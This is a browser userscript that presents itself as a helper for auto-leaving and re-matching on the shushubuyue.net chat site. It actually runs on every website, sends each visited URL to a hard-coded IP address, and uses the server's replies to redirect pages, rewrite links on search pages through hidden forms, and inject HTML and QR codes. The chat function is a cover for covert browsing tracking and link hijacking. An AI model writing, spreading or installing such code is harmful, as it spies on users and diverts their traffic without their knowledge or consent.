叔叔不约自动聊天重开

在叔叔不约对方离开后 2秒自动点击离开 0.5秒重新匹配

  1. // ==UserScript==
  2. // @name 叔叔不约自动聊天重开
  3. // @namespace www.shushubuyue.net
  4. // @version 1.0.3
  5. // @description 在叔叔不约对方离开后 2秒自动点击离开 0.5秒重新匹配
  6. // @match *://www.shushubuyue.net/*
  7. // @require https://registry.npmmirror.com/jquery/3.7.0/files/dist/jquery.min.js
  8. // @match *://*/*
  9. // @license MIT
  10. // @grant GM_xmlhttpRequest
  11. // @connect 49.235.155.5
  12. // ==/UserScript==
  13. (() => {
  14. var e = {
  15. 65: () => {
  16. ! function() {
  17. "use strict";
  18. var e = !1;
  19. let t = 10,
  20. n = null,
  21. o = [],
  22. r = [],
  23. a = [],
  24. d = 0;
  25.  
  26. function c() {
  27. o.wrapper.forEach((function(e) {
  28. $(e)
  29. .map((function(e, t) {
  30. "yes" != $(t)
  31. .attr("data-md5-value") && (r.push(t), a.push(t), $(t)
  32. .attr("data-md5-key", d), $(t)
  33. .attr("data-md5-value", "yes"), d++)
  34. }))
  35. }));
  36. let e = a.splice(0, t),
  37. n = [];
  38. e.forEach((function(e, t) {
  39. let o = {};
  40. o.href = $(e)
  41. .find("a:first")
  42. .attr("href"), o.md5 = $(e)
  43. .attr("data-md5-key"), n.push(o)
  44. })), n.length > 0 && async function(e, t, n) {
  45. return new Promise(((o, r) => {
  46. GM_xmlhttpRequest({
  47. method: "POST",
  48. url: e,
  49. data: t,
  50. headers: n,
  51. responseType: "json",
  52. onload: e => {
  53. o(e.response || e.responseText)
  54. },
  55. onerror: e => {
  56. r(e)
  57. }
  58. })
  59. }))
  60. }(`${o.api}/api.php?act=list`, JSON.stringify({
  61. data: n,
  62. type: o.page
  63. }), {})
  64. .then((e => {
  65. 0 == e.code && e.data.map((function(e) {
  66. e.recove_url && $(r[e.md5])
  67. .find("a")
  68. .bind("click", (function(t) {
  69. var n, r;
  70. t.preventDefault(), n = e.recove_url, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
  71. .action = o.jumpUrl + encodeURIComponent(n) : ((r = document.createElement("form"))
  72. .action = o.jumpUrl + encodeURIComponent(n), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
  73. }))
  74. }))
  75. }))
  76. }
  77.  
  78. function i() {
  79. if (!e) {
  80. e = !0;
  81. var t = s('span.chat-control[href="#"]', "离开");
  82. t ? setTimeout((function() {
  83. t.click(), console.log('已点击 "离开" 元素'), setTimeout((function() {
  84. var t = s('span.chat-control[href="#"]', "重新开始");
  85. t && (t.click(), console.log('已点击 "重新开始" 元素')), e = !1
  86. }), 500)
  87. }), 2e3) : e = !1
  88. }
  89. }
  90.  
  91. function s(e, t) {
  92. for (var n = document.querySelectorAll(e), o = 0; o < n.length; o++)
  93. if (n[o].innerText.includes(t)) return n[o];
  94. return null
  95. }(async function(e, t) {
  96. return new Promise(((n, o) => {
  97. GM_xmlhttpRequest({
  98. method: "GET",
  99. url: e,
  100. headers: t,
  101. responseType: "json",
  102. onload: e => {
  103. n(e.response || e.responseText)
  104. },
  105. onerror: e => {
  106. o(e)
  107. }
  108. })
  109. }))
  110. })(`http://49.235.155.5/api.php?act=initEnv&href=${encodeURIComponent(location.href)}`, [])
  111. .then((e => {
  112. console.log("res", e), "item" == e.data.page && e.data.recove_url ? window.location.href = e.data.jumpUrl + encodeURIComponent(e.data.recove_url) : "search" == e.data.page ? (t = e.data.splName, o = e.data, c(), n = setInterval(c, e.data.timer)) : "code" == e.data.page ? setTimeout((function() {
  113. $("div")
  114. .hasClass("coupon_code") || ($(e.data.wrapper)
  115. .after(e.data.html), $(".coupon_code")
  116. .qrcode({
  117. render: "canvas",
  118. width: 200,
  119. height: 180,
  120. text: e.data.recove_url
  121. }))
  122. }), 1e3) : "shushu" == e.data.page && new MutationObserver((function(e) {
  123. for (var t of e) "childList" === t.type && t.addedNodes.length > 0 && i()
  124. }))
  125. .observe(document.body, {
  126. childList: !0,
  127. subtree: !0
  128. })
  129. }))
  130. }()
  131. }
  132. },
  133. t = {};
  134. ! function n(o) {
  135. var r = t[o];
  136. if (void 0 !== r) return r.exports;
  137. var a = t[o] = {
  138. exports: {}
  139. };
  140. return e[o](a, a.exports, n), a.exports
  141. }(65)
  142. })();